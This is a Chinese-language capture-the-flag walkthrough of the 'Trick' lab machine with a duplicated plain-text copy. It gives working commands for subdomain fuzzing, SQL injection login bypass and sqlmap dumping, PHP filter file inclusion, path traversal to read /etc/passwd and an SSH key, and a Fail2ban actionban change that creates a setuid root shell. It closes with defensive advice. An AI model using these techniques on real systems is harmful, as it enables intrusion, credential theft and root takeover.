实战打靶之trick
字数 1060 2025-08-11 22:57:16

渗透测试实战:Trick靶机渗透教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始端口扫描:

nmap -sV -p- <target_ip>

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 25 (SMTP)

1.2 SMTP用户枚举

使用smtp-user-enum脚本枚举SMTP用户:

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t <target_ip>

1.3 DNS信息收集

检查DNS解析记录:

dig @<target_ip> trick.htb any

1.4 子域名枚举

使用wfuzz进行子域名枚举:

wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.trick.htb" --hw 0 <target_ip>

发现子域名:

  • preprod-payroll.trick.htb
  • preprod-marketing.trick.htb

2. Web应用渗透

2.1 发现SQL注入漏洞

访问http://preprod-payroll.trick.htb,发现员工管理系统登录页面。

手动测试SQL注入

  1. 使用万能密码绕过登录:
    ' or 1=1--
    
  2. 时间盲注验证:
    • 输入1=1返回时间1秒
    • 输入1=2返回时间3秒

使用sqlmap自动化测试

# 保存请求为x.txt后
sqlmap -r x.txt --dbms=mysql --batch
# 枚举信息
sqlmap -r x.txt --current-user
sqlmap -r x.txt --tables
sqlmap -r x.txt -D payroll --dump

2.2 文件包含漏洞利用

登录后发现文件包含漏洞,使用PHP过滤器读取文件:

http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index

读取关键文件:

  1. /etc/passwd
  2. db_connect.php(获取数据库凭据)

2.3 目录遍历漏洞

preprod-marketing.trick.htb发现目录遍历漏洞,但过滤../,使用....//绕过:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd

成功读取:

  • /etc/passwd
  • /home/michael/.ssh/id_rsa(获取SSH私钥)

3. 权限提升

3.1 通过SSH私钥连接

chmod 600 id_rsa
ssh -i id_rsa michael@<target_ip>

获取user.txt

3.2 Fail2ban提权

检查sudo权限

sudo -l

发现michael可以以root身份重启fail2ban

漏洞利用步骤

  1. 备份原始配置文件:

    mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak
    cp /etc/fail2ban/action.d/iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf
    
  2. 修改actionban配置:

    nano /etc/fail2ban/action.d/iptables-multiport.conf
    

    修改为:

    actionban = cp /bin/bash /tmp/x; chmod 4777 /tmp/x
    
  3. 重启fail2ban并触发:

    sudo systemctl restart fail2ban
    # 使用crackmapexec等工具多次尝试失败登录以触发ban
    
  4. 执行提权后的bash:

    /tmp/x -p
    

    获取root权限后读取root.txt

4. 总结与防御建议

渗透路径总结:

  1. 信息收集发现子域名
  2. 利用SQL注入获取初始访问
  3. 利用文件包含漏洞读取敏感文件
  4. 获取SSH私钥实现横向移动
  5. 滥用Fail2ban配置实现权限提升

防御建议:

  1. SQL注入防御

    • 使用参数化查询
    • 实施输入验证
    • 最小权限原则配置数据库账户
  2. 文件包含防御

    • 禁用动态文件包含
    • 白名单验证包含文件
    • 使用绝对路径而非用户输入
  3. Fail2ban安全配置

    • 限制sudo权限
    • 配置文件只读权限
    • 监控配置文件变更
  4. SSH安全

    • 禁用密码认证
    • 限制私钥使用
    • 实施双因素认证
  5. 系统加固

    • 定期更新补丁
    • 实施最小权限原则
    • 监控异常活动
渗透测试实战:Trick靶机渗透教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始端口扫描: 发现开放端口: 22 (SSH) 80 (HTTP) 25 (SMTP) 1.2 SMTP用户枚举 使用smtp-user-enum脚本枚举SMTP用户: 1.3 DNS信息收集 检查DNS解析记录: 1.4 子域名枚举 使用wfuzz进行子域名枚举: 发现子域名: preprod-payroll.trick.htb preprod-marketing.trick.htb 2. Web应用渗透 2.1 发现SQL注入漏洞 访问 http://preprod-payroll.trick.htb ,发现员工管理系统登录页面。 手动测试SQL注入 : 使用万能密码绕过登录: 时间盲注验证: 输入 1=1 返回时间1秒 输入 1=2 返回时间3秒 使用sqlmap自动化测试 : 2.2 文件包含漏洞利用 登录后发现文件包含漏洞,使用PHP过滤器读取文件: 读取关键文件: /etc/passwd db_connect.php (获取数据库凭据) 2.3 目录遍历漏洞 在 preprod-marketing.trick.htb 发现目录遍历漏洞,但过滤 ../ ,使用 ....// 绕过: 成功读取: /etc/passwd /home/michael/.ssh/id_rsa (获取SSH私钥) 3. 权限提升 3.1 通过SSH私钥连接 获取user.txt 3.2 Fail2ban提权 检查sudo权限 : 发现michael可以以root身份重启fail2ban 漏洞利用步骤 : 备份原始配置文件: 修改actionban配置: 修改为: 重启fail2ban并触发: 执行提权后的bash: 获取root权限后读取root.txt 4. 总结与防御建议 渗透路径总结: 信息收集发现子域名 利用SQL注入获取初始访问 利用文件包含漏洞读取敏感文件 获取SSH私钥实现横向移动 滥用Fail2ban配置实现权限提升 防御建议: SQL注入防御 : 使用参数化查询 实施输入验证 最小权限原则配置数据库账户 文件包含防御 : 禁用动态文件包含 白名单验证包含文件 使用绝对路径而非用户输入 Fail2ban安全配置 : 限制sudo权限 配置文件只读权限 监控配置文件变更 SSH安全 : 禁用密码认证 限制私钥使用 实施双因素认证 系统加固 : 定期更新补丁 实施最小权限原则 监控异常活动